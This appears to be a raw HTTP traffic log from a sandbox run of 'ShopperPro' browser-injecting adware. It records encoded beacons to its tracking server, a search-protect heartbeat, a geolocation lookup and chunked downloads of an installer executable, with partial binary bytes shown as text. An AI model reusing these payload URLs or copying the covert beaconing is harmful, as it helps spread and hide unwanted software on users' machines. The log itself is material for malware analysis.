GET /app/ping.ashx?e=KC52kqqAunCt 9hOzZQLUD kCFg8l4pj2YTeaOaZJPFysSIQM/WMqtGQDVZU32tJqokWMN8GCQ/ZKuiB0ryxZL6vs2JJATJ04VTmYx8DZjC0lOvcR7gfC5Ogq/ZWkhdl60W2ZwZ8tLob94hM9WTZwLfS6pcjs1s3WGoyREbxM8eZ3YOu8U7Qr0yM76mYEXUjygHsQ0eMPBZENo9/0ma3IeIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa5BQwiQopi7LzbANYrsS2gTtzAGhxGYFG HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:46 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Fri, 15 May 20
15 23:02:46 GMT..Content-Length: 0......

GET /app/ping.ashx?e=W5y9y1UrGBmidLNtGGzWYdSPsyWRmafrTEgCpOx0T0GQL2F0hg1RicLJlw9FGc64W40V8RHoWcfADsKdK4BIvGCdwiLZyE1Pd6j7/wRBDsRoqvWX6JwkevDehHIxlAXyb98NyY 3Jv/oKdNf4wHzMP/l0k1T1nn7b588fAguahpqadCmmmNJTNNeVrTC3wKjU8kydD/bvW zPy3bbEKvCWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgkex5UpBoxTMMW2oEbpyuz9p5gsvoA3US HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:47 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Fri, 15 May 20
15 23:02:47 GMT..Content-Length: 0......

GET /app/ping.ashx?e=eISsn0A7mAaebxLgvS5H7j0Z7sea5zO ZgUvH4i6X/oicvsFwQStECv5F5wArPI/YCpHZc9ZUaFAR3ajkVQ2x7uuM3c65sqXLtq7zMORfxfhVOZjHwNmMLSU69xHuB8Lk6Cr9laSF2XrRbZnBny0uhv3iEz1ZNnAt9LqlyOzWzdYajJERvEzx5ndg67xTtCvTIzvqZgRdSPKAexDR4w8Fr3kxE5BYD8vaV7UOVAXxqUE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93MQYSNAnI1RFiozLT9XeQ0a4KAoSfmopCFRl8rQFtGE76RQXwv9RhV9bBcdAIuZJ7qY3YmyiK/QLMprsE/ NOdQUd2T Cdn6lg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:48 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Fri, 15 May 20
15 23:02:48 GMT..Content-Length: 0..

GET /v4/searchprotect/?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.2409 HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Fri, 15 May 2015 23:03:12 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

3d..{"stats":"error","time":"0.09 ms","message":"uid is not set"}..0..
HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Fri, 15 May 2015 23:03:12
 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunk
ed..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v
4..3d..{"stats":"error","time":"0.09 ms","message":"uid is not set"}..
0..

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: koohr35-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:35 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: rGRt/KB wGosch7tMIEAlg6zhIdQ6g/NQWeVBv Ohw3UbNCVvjbYFePfBW5Dait557iGfaQp9fs=

x-amz-request-id: 21C365ED51124063

Last-Modified: Fri, 15 May 2015 05:21:24 GMT

ETag: "30cdf7a6c26e2b578a765fbe9060dcbb"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 0-249999/4735233
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: koohr35-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



....{..!....R.....2.un.9.Z..Q_....{."Q\...w......A..-.d.;..$...:..X.s.
....{..k.<).Y....T*|3T.1.NM...~.2.Z.hH:T........Zn..`.w.J.........1
....-...C.O5..w..._......4R..[....M`..B.Q...Zj.........4f./.....s...Za
Rd3S.:0.=:........U..;....=.\. ..E..]...>.Z...rV.*.$.8.W....F..B.gW
.....b}.. .x9jj.Q.n,..{p.e(d.R..H1..bc.n....u.t..Di.$G.c...pC.i.CL.^.1
k.Q.|....H..VE ..dV..B.6Y......]TeT.SW.q.?....W..=JZ... J..=.../...[|v
g.r7..i.....-.c..q17.L.<{.;=..Z<!R7`..$.~.MN...UbSyPhD.. ]..v...
C..:0.Z>?Q.....[..-w..!..u.Q.......K|x........Q..8...^[email protected]
...Si.^...... .....t'.].K....TC....J....K..T..R..i#nz...M..U........T.
F>....?.u.."...mV....P(..A..E.<[email protected]...=........[a@{j.
...5.:....V3....q.....?.m.b.Le'.E.............[.&...t)..~x(....O...U..
F....F.i....O..z.A....=a...s...a(...9......I.p.../... .G........R2K..1
,.1....:o.|:%.....D.?|y{....X..}.4.=..b.P........t$..r....-<6....W.
f.*..\..........P...G.H....-?....s.)g|.w....<..r.........@..|...B9!
.Cy.....H...Q.. ...s.E..O.)Pac..................{..|.%7Q.?...f'..W.[.R
.>...["V9......n..../......6..t....Z.{Tj..u........Yn.ks...........
....61x.,..N.l.d 8..[N......R.T...i.2....FLm....>>.-...3p.....z\
6.p..@..@...=....$.......Q.........q.......l6.1.O:.T..@-cj.?%bt*a#.u.#
.....>.g.....?DL..V.......I..%...*[email protected]....
.....P.u\...U....(../cnKc.V..y0.............{}!.E.\Y..n.;S...(.......`
[email protected].....'...~.
...]....".....[..ET...'.q..).L..!.............@[y..]..........w><<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1250000-1499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: koohr35-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:35 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: rGRt/KB wGosch7tMIEAlg6zhIdQ6g/NQWeVBv Ohw3UbNCVvjbYFePfBW5Dait557iGfaQp9fs=

x-amz-request-id: 21C365ED51124063

Last-Modified: Fri, 15 May 2015 05:21:24 GMT

ETag: "30cdf7a6c26e2b578a765fbe9060dcbb"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1250000-1499999/4735233
..`.%.U.\...(.".8T.ZKTO......=....@jx^.V,...3.q...........{....}C.n.C.
[email protected]..,.lx..n.ol......v.o..:[email protected]...%...Y.s4_!w..b...!.b..}o.
*F.......6.]..P-D..!.:{qo.z.L.....eWt......P62.......X.z..j 4bi...."..
Y....m.f...-.A... .AS.M..U.j_)u .l..Ne.....Y..HW... ...}....".c.EY}.B\
u..q.NT..[Jb.p.....".....Ur...m..j.J=......vAd..F0.[..A<....(3..."~
.#.I.H.N.e...08o.$z5.#7...p.:I...).v.n..........A%.C."....D.W.M.SH....
....o....Y0o...5......0....X..&Np..M.....]..HZ...F.........N........".
.t..C.>.>&....e.9!.PH........<)$'...<G..>:,.{....... a.
...A.Pt..i.iY..._....3.....oD*.5.[...\..qAf...n....13..T~.7 ..gXm.8...
...HUPA"...L."d..1GK....o1.P<p....y.Uh....`s...!i}K... ._1j..w..Y.)
s..n........Ks.k...2...#n..i.`....l...m.{.HJ.^.. [email protected]/y.S....~k..
.E5.c.7....}N...5!Y..o\. {m.k...jv.......D0...Hz..........&...Yq......
.....I.'m.F...W7..Sh~...M......#[email protected].]...n.z}.......[..l..
}..n......*oLz..6.....J#I..).....PT.b.e|.....*.... ..W"..N$?GO.....X=.
.S\}.=.p2.%...C......."[email protected]......^.>.T]r....Q.....
.<EjM:Gl.3Ngq.8....8........?U.....D.E"K.J.}....e[.R..M.$.....tP.S.
.pH.... .".k-......... ...........DX^K.(.{.>..\.)..!<..s.B}.d..4
..;//[email protected]&._k.<.P.6...'S..n.bX{..W.L@U.\...
..W.>[email protected]/Zb......9..1..co...4.a..f.u}.j.A.......,F}..^8l
...r.a....c....r.L.ga.......$.E..d6.c.{?T...Z...3.E/......M?.3_.......
.!.E.Vf........T....AaX.(.=..^aH.. .t#..!.....C.. \..zh2.]..}^..B`....
L?Nt.-S....8.O...n.z....|.N..,.RK#... .O... ..u.1S.I.0u..3O..i....<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1750000-1999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: koohr35-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



.8...3.tC.g..c"y.m69..u.......O_z.D.y.;HOs??.....7U.../.....2...'..X..
...|ZJ.<........:..-.YU.....,]..<..W.8.cd....c.9R..o.F...x\.]..0
.~...,..a.-x.....j.C....`_......Xn..Z.c.$}...*..i...........3DS9uMO...
..gBA.g...x7K7A........A..n...........D..f......qx..C{.?....$....Q....
!}5.C..SH.[.){...P..r.S.~. .Z.8>...wc...,-$....U.s..^....c^..F..w.}
...o7...lA. ...L`...2...t....H...._6.O.....y_..jM...\.........L.....y.
..6.o0@*.........n ...G.`...,[email protected]#.T`.7.@WuE'.
...n.t..T.3_.L.x..s.t.......?.,..2.Z2.L.BMn"....B\C..%t;...ls....(5...
a...kq.q....}a................F?.'/n..h....X?R........... .........?O.
..2?6.7=g....0o.....}(...P.x....3.G.....FE. .0.U....{.$...........V..\
B..c..r=....2m....|=V....a......w...n`..%M.'\....5M.F...e.......W$.oF.
.g9..J.@X^#|.V$.FN.."....".....On.>Vy.O.9:.E.Z-.K2.. .r. N..3..1.f.
...g....X.Y\............... .M.S.......&Y..8...nAZ.Pn...u.....).(g..;.
...,..n....m.O5.[_/.y..:.Q)........n.O.{Sjr..F..U}r..3...H.bm.u2.u.?9.
g.C.....Mkf.z....W._....[.E.AeOF.![[email protected]`.w.....2).l?.....7...}...
.e..N".m}...V...3....w.(...,5.eH. ...i.;.U.*L...Z...N...]Q?.x..F.k@q}]
j....V.i...l..a.\..:<0.<.h2R.u.;...E....$;...8..$....:..K....R]@
.....-T.L...h#77..h'....b....:.._|p.0...z.....3.s.). ....#V.......kK.(
....&....6.58I;.......A..5/....... '....A...R<.#..-...\Q.....#.....
..H.-..Q.*...}h.n*....6..N!{......Ocx......>M..].b.0..[.(Q.).2./.&V
1.....U.......c..{....jJ..S...8...-KA..g.`/.aCq?&(.{^.......;.p...m.Z.
.I.{xDE.....l.... ..G ...._/.&...y.....H..e.q.m.~..AG`.[..$.D....^<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2000000-2249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: koohr35-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



.[[email protected].."..=.......p...?..6. ....KzTd.)....Sv.../x%.OI..
..-....:....Y}.H....s...2g#.a.j.s%.?...a...7..r^l.LX<.&....g..fM.o.
.9...EV<..x.X.."k.4.rI....R...?...;._...R.....|./..bg.~o8c..(....;*
.X}V.6...U.J...:y.`..P$.I.R..5Ra.@...`qsC....SJ........&....)...m.x...
....._gk.,..Em.Am......?...ll...y...X.'..?H..... q..............}.N..w
....?..AU.NQtpyb..9.....a.....w.Z.(....N.a..Z..o.....sH:5..5=....4}z%!
.M[.;..... .Q.?.Z-.Q..n....<3.....%...c!..P..1c........YgL..ad..<
;...^!}.**..........H......n.t......0=..gc06...' Nt..m..g.&..b.....&..
...,!..../...O.N.....M.~ .!S..(......9....{.1....Gq....eb.OD.... D.)..
u~...oC..^..So......@....%.....>.`........(.1.,...#.~...n..2.kv/-..
.... .......g..E...K:r.1..yuf...........9A......4.D.....2MZ/.I.,-.3..W
qP..b...../.e...J1......%.2.Nky.....(|..._) .6. .~PT.S.........$..\...
V...KE..x.]......p.w..4...G....0gqZ..IQ|f4.w._C2.gX .....|.q.......:..
1..aE([email protected]...&.:cU.}....ha..E..Z...T..~7.T/........P
....c.4..!......qs..#....W?.. .!?......7...0I....#...0....K...<y...
..9....~.K.M....5y=:..k............}...|[email protected]
......o.w.%...'/;......V'<R..^ ..A.)S._...:./[email protected]^N.....
.s...$...g.......%\.y.H.......Z...r7q<N.WI.p...wM~..2`<....Hw`..
..O}a..'6...x.f....1.;v..S-..g.....i.9.24....q..6...#../..r..B.~QC_..U
[email protected]'z..hqW.....T.`.H...(.1...'t$.)...a.Ju>
.F.....E=.T...K..............%........U:.mh......w.............2.D..%.
X.W...n<C.o.r..$...)[email protected].......'W....@r.*.r..c.0...l..m.8..&<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2500000-2749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: koohr35-su78sj1t.netdna-ssl.com

Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3000000-3249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: koohr35-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:36 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: rGRt/KB wGosch7tMIEAlg6zhIdQ6g/NQWeVBv Ohw3UbNCVvjbYFePfBW5Dait557iGfaQp9fs=

x-amz-request-id: 21C365ED51124063

Last-Modified: Fri, 15 May 2015 05:21:24 GMT

ETag: "30cdf7a6c26e2b578a765fbe9060dcbb"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3000000-3249999/4735233
6...w.#...w.-v.......;'4...4..|..%5....j..O1.....n.-kASn......._...U..
...F.z.t.#....A~R..gqEB.e..r... Ot....:../..ZvF...6...t.ON.>w.....{
<...W....._.tu........cK7.....q.|...].A..]0. .JM...e.*.Y.i...\...ix
...Sn..'..V..."....?......N......ru..YL..Sj..4jK.$.....oDN.....o....:.
%$3E...b.a......1S..................... [.1q.4.t..l..?.$.ONP..y...g.7.
......P........^...Y..y5..OFS.2...w.u-.b.\.............o........TH..r3
u" .|.4...5......`.}.9.....n..>k."!....9;k&TOC&...YcidK2B..f@<.D
.Gnf....N..D.zVP.".W..Ug.rym.t.a..h....9...C..\..?....]U....G.........
.fM..m..^..H.D0= ..^]...o..r9.a.'..2.Ro.v....l...E.z.................J
<5S{m.z..8....h..O......Y..Bu}..o...\.a....f...3q.cD...t.,.rE......
......2d...h.t.x....Q..%....W.....}.,...6_.-....q..Z..[....SG..-3VM...
.w:..g.Zf.ov.Sc..R.-$0.j........l.....e..n,iq....s...{..........<..
.'S...........Q_*...>....L!..Q.9.0x..T..4T?....V......Q...Mp...Z/..
.....Kjven...K..<o......<r.Gf.Y...B.....%gO5.i.G...S..8..\.....y
....%u..h.Y..~..].........Tj....U.R...C..!...... .......}R....o.......
1........6/......gh......SY.._.\f.EU.j......Y..6Av.9...g.....4*,4.U.4.
....r..`.J.q..D.u..7]........I..%....jf......~.%..L......G..W}.q..m.mq
2..^.../...}gY..A.....f. ..X"..`..M...$.).'.1...*[email protected]...#f.q.`q
..|h;2>J....%..!......q..^u.L9......w......b...1?...Z.q$.........{.
f....f./.{SW*T.o.......wK..5..^.W...F{`..-..ut,1.....$.=>......*?.b
.s..9 ..Ag...Wx}.WBn..:[email protected];.u.r.\...GL]-... 'l...1..R.
u.n...;]......~.;W...... ......l......t.....u..Z.'.`.Kc....3..o...<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3250000-3499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: koohr35-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:36 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: rGRt/KB wGosch7tMIEAlg6zhIdQ6g/NQWeVBv Ohw3UbNCVvjbYFePfBW5Dait557iGfaQp9fs=

x-amz-request-id: 21C365ED51124063

Last-Modified: Fri, 15 May 2015 05:21:24 GMT

ETag: "30cdf7a6c26e2b578a765fbe9060dcbb"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3250000-3499999/4735233
.N.......O.`.8....H.X...FzI.z&...X5.Da#h...&.,..4Q..d..x.3...b.... a..
.$./F....h.T.I..&......[|Y..d..b.f....b..c.I..Dt.IB......(..<.9...V
WD..wr.7.=.m.72...0....hE1....1.v.-..Z.....q<k..&......q...Q R.Vl0.
...wOF&....I..........3.Jm $=M..,714 ..!)x.C.{..fq..z...N.1F2.......u.
B...i....d5.=.....D..g.......c......r|.....az.n./..d.....b...kJ.F..1..
.d.x.;...:0..;=l1.>..S.....]v.#.2q|sL}r.....AE.. .g..BO..0.p.!.....
ex.g..7...8y.q~...(.;-......{.x....WJ...o..A.g. ...........M...".x....
?...u>E.|.?.8..kqr.Q.M).C#R.....Ii....E..k .V...E....I.%..p.1.P.bc.
.p...pP...=H'..9wzSVz...cd.......STB.....*xe..\.."@.JA.....^.......c..
x|.......!L.....4...~...RJ/(o`.[.....[..w.fJ....6."..]......#...#.G% T
.N...t.q.Q..U..(......"(....4.N.5=...r39...;....l.2T..xH...../<.3'i
2w....t.................9URq.Oy.Y..}2z?&....\$...w.S...m..u.Y.Cl..^...
..o_...N.gh...T.S.]c.....5.1..z..G....].6.........o&qT..9.m)?A...a.g.]
...T...t...........s...............e....P3]0YX.3....IF.I...Z.<#o..]
.=.......eX..)..g...8..T8...b..z....(TMs$pZ...E.._K@...?R..5.......o..
.m>....N..0Y....#...s]..S..2...y?..{{Q.g.........i..n#..Uj.'.s...f.
mK.....=...ShcI..y...[ .......9Y.C..q....*....=M.0K.0...(V.:c.l.^..w9{
........'qd. .........W.......Zy".."..5.?...l..........$.E.4w.{......x
.m)......z./......$...)...a......M.h.m.....D..*B.~2u.....i?.9..G..B..1
v./d|%,UcA.>..(.P#q...;)_..ntV........l<.*.q.M"..#..~.c}..=..;K^
C.V..W...|).w`...T......x@'C...../..EA....9...*.B..6..@.. .../.M..a. .
..FW.....:...][email protected]..?*l(%..U.e0.5..<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3750000-3999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: koohr35-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:36 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: rGRt/KB wGosch7tMIEAlg6zhIdQ6g/NQWeVBv Ohw3UbNCVvjbYFePfBW5Dait557iGfaQp9fs=

x-amz-request-id: 21C365ED51124063

Last-Modified: Fri, 15 May 2015 05:21:24 GMT

ETag: "30cdf7a6c26e2b578a765fbe9060dcbb"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3750000-3999999/4735233
..!...k#G....|w.....-..iV~...#P...I<l<~.h..h............EX...u..
....b..i........!..,...)r,<..&.j.Z...*.r..-H(.N.uux)....6.n...P.U3O
....[.QSYM..t.B..`..O.b. E!.Ruo..wA...w>Sb..Mv.Cq....%.\=..8T(>=
.C.f....m.y>...}.......8`/../....I.w. ....4...a...<&.>... ..~
.....#....!.?7.C...*...*....j../nNQA...T...q {1._?.....:..f..K..@.....
..Z.iv......z~z..TEH.....Ppuj.f@_.n..t..0...t.......(0qK.../.z.=.8...~
c....{*..............6...i...<..*5mr.%.x....er@y.........>_...HW
...j_R..s.7.`.!.:F.Vf..w.u.:q^...u..9.].<a.(Z.(..._=A..Sde."./.....
Q..).%.(,.....[9..d...M......&f.. ..-_....D..N..*.,...o....r..g..K..bf
....v1..{.....j..Fo.t..o.....U.....N}...... ..4A.h8!.......y)8.L[._}o.
..L.*..]....c... A'[..=......r.D..B....8..YOy..xJ.oOo.l..P.9.E........
...PF@.... N..zG...;>x...p6}..37...T....g.#.J..K...\.Pu..L..L..`. .
*.F~..u.....3..4..B........w....rSo33b/..D...d..)su...RM.a..[b.P9.p.J.
....FK..f"..D..#..{gz..F9.N.B..'>....#..Y.........M.......;.6s.....
.Y......0Z;.k.g..0)...uAlG5.<.W....[./...q.......J.o.,&.r/.=...he..
0.9..'...f....}X..J..M..yg.gj........u.....<.}......2R.. ..EM......
........(.P.v..J..5T.!...JN..`>..t....1..f.....j.;........9.2X.....
|...x}..y...?..m7...<......T....X..?....6?ki.)...V...u_.o.....E..2.
....:g-%.BY...Y..............Z.....K.6..S..2..~x.XM....'B...L.._U.|W.&
2G..j.....vj.......oX...(.....Y..0l.....9n......f.Cy6l.du......DpX....
...........7.]..<.M.7.....c.-.1`.U...o.f...........h..:..[p. l..=..
...E.....).]`N(..G.:y.e2W.}...S..4..J.......`.=..q....8..1...K.S~.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=4250000-4499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: koohr35-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:37 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: rGRt/KB wGosch7tMIEAlg6zhIdQ6g/NQWeVBv Ohw3UbNCVvjbYFePfBW5Dait557iGfaQp9fs=

x-amz-request-id: 21C365ED51124063

Last-Modified: Fri, 15 May 2015 05:21:24 GMT

ETag: "30cdf7a6c26e2b578a765fbe9060dcbb"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 4250000-4499999/4735233
Q1..o..f.........Na........Rc.R....".?.kd4.....8G..3Y..F.Z.y.%._...}.m
..h..L........u||..3... .\s...j..H.....T.~;...;.u%[email protected]
....E.GA]f..$Fw.'...p'p.$N..L...\.Q..I...$).....O)n}...).mI.E..QK.L...
.....w......D..>[email protected].\Z..
nph2uE..L..k..%..a}/.G.Bc......l....." ..N.\O~~.l..1...=u..".)(z..E..l
a..g".D2>...... =2Le..K..8....S.V..5(....L.r.../.[.G..w;m....-H[a..
....rY.W4..H..G.-.....y.h.~~zqBi..*._....<1..'.].:...N.b..%Ux.2.u..
.Z{t..>.......-...r.G...%].^.....N5|...R...]ND.......u.D-.."..3",s.
;....X...]....mO..i9#<9...d..b......Ny..5. ....n..f.t*.......(#R..;
........x.ZU...C...F..-7..Y)p...1.h..WY.hN.4.D.Rj..X.....l7.X..=....Hr
K..P..1..o,.]...?F..(.a\x.,w0......r.<.].s.w0f..L......v.x.'.......
.:.fj..&^..4~...y.@..(.....v..x...m>H.E[...'.Z.7T...8.\5..........;
...^...i.......y|......'............}=-&?g.Je..................E...9h.
~S.)1.o....NI.X).7....a.Ie...eG.c.(.............i_^7...Wc2.1.T.U0.....
......R.........E..*(....!.......G....<8.iJ7X.0.)..Odl..Y>...v._
............)..?!....HI..'.Mz".c..{...p2#|J...y.5 D.....\.... ;.}C.:.T
.. ..0..... .#z...~..EU......T.....j......*..I2(.|.U_~.....w..V.A.....
.GK....*...-........=...p.f ...."`.b.....>p.Fv.#.........?.'.AS....
.....x..>%.*......H*....8...w"..1..t.R....}Ag.....j.....yt....G..s.
...Y...N.....W2b...u....@.....\.V.P.-.... ..K"`.t....i.D.T#..i0...jO..
....=.....f...P....h.|H....b0j.....Q.d$B\[.C...U..4b:...........c2....
.]..'{...U.C<[email protected]#..j.......V..Bf.A{.........:..QS...<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=4500000-4735232

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: koohr35-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Fri, 15 May 2015 23:02:37 GMT

Content-Type: application/octet-stream

Content-Length: 235233

Connection: keep-alive

x-amz-id-2: rGRt/KB wGosch7tMIEAlg6zhIdQ6g/NQWeVBv Ohw3UbNCVvjbYFePfBW5Dait557iGfaQp9fs=

x-amz-request-id: 21C365ED51124063

Last-Modified: Fri, 15 May 2015 05:21:24 GMT

ETag: "30cdf7a6c26e2b578a765fbe9060dcbb"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 4500000-4735232/4735233
..%F.^h..^...~...f...f.k.YD5p.Du.>....MG.P.....%.F.6....D......p..$
..)jx..v*4.z..=W.........>a..)d .G.-).Y.\;J...F...3]....I...Z(k.2..
.w.)}........ke.=....(....`................. .g.......#[email protected]@...F$W..
pe..... hH..q5.........!?`...^..9qkLJ.Qv........uF.8.W..]..jl..T{....Z
M..G.~r..m8....!...D..V.91.* ..0...^c.F>m!..d.p........2....n..b...
!...I.......=V........y..U.._...xh(0.X.....P&.........?G..C..!U].3...W
..)..%..0.Yd.V..b0..0.~.........(..YZ..U.K....&...p;...3s^.... .6.s.~.
...&.#.....HOp$.?.XVVY.3....'...x.3..s0>@.....Z..l|.bw....*^#.d9!..
....ZTqU..V...3=....a......i..}...=s.:e......[TGK65;..6w.=.[...t...@.[
........T.......).]...Y!...... .G..75.#{ ..Z..3V.7....U.Gi@r*.Z.V...(~
[email protected]....}'0W.1=..2....6jq%,..T...t.y....;..9l;.2pG....t
.....#..A.2.V..aD....YM....~..`.:G...K...1>.nB%...=.ao.od6h.lZ.8.$s
~a=f......M..m...z]..P<.l.^...........tv.u!.?..SVd......]...F.i....
..a!..Z.,:. :......../...vY[h...G.(.....- ..m............V."..g..`...f
.s0...f..u{......xp...b...}b.k....."PSB...i........H]...o..]wt..%.&]..
.....n.X?..^...J`0....XB.rj!..1.v..W..{..SjW....j...9.%.Y.>.?.p....
....................H.e....O........b...c...7.y.I...D.&....z.F.!....h.
.{.....zbAK......fe6....Y...U.U...{....C.oe..<.6au.c5.0..5X..qU....
[email protected].'.7.w.T...H.......R..H..M..}[.,F.VN._..,|TOm..s.4...2.{
Q.. kjfE.h...%r..........\...C2@_.7.G..~v]E....l...r..PK....hS[.cp0=j.
.....Zn.._A....IrU.NB.s....=.;.....XG..5{L.. .......y>)>...x...V
.`...kd..rW.h...2..QgqHA.u-.b.!H.;)..[........F.T.....z.3.I.xU....<<< skipped >>>

GET / HTTP/1.1

Host: ipgeoapi.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:54 GMT

Connection: keep-alive

Content-Type: application/json;charset=utf-8

Content-Length: 40

Server: thin 1.4.1 codename Chromeo

Via: 1.1 vegur

{"country_code":222,"country_name":"UA"}HTTP/1.1 200 OK..Date: Fri, 15
 May 2015 23:02:54 GMT..Connection: keep-alive..Content-Type: applicat
ion/json;charset=utf-8..Content-Length: 40..Server: thin 1.4.1 codenam
e Chromeo..Via: 1.1 vegur..{"country_code":222,"country_name":"UA"}..

